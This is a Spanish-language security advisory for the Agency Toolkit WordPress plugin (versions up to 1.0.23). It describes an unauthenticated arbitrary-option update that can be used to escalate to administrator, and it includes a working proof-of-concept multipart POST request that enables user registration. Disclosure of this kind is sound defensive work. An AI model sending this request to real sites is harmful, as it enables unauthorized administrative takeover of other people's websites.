
Agency Toolkit <= 1.0.23 - Falta de autorización para actualización arbitraria de opciones sin autenticación
Agency Toolkit <= 1.0.23 - Falta de autorización para la actualización no autenticada de opciones arbitrarias
El complemento Agency Toolkit para WordPress es vulnerable a la modificación no autorizada de datos que puede conducir a una escalada de privilegios debido a la falta de una verificación de capacidades en la acción 'agency_toolkit_import' en todas las versiones hasta, e incluyendo, la 1.0.23. Esto permite que atacantes no autenticados actualicen opciones arbitrarias en el sitio de WordPress. Esto se puede aprovechar para actualizar el rol predeterminado de registro a administrador y habilitar el registro de usuarios, lo que permite a los atacantes obtener acceso de usuario administrativo a un sitio vulnerable.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--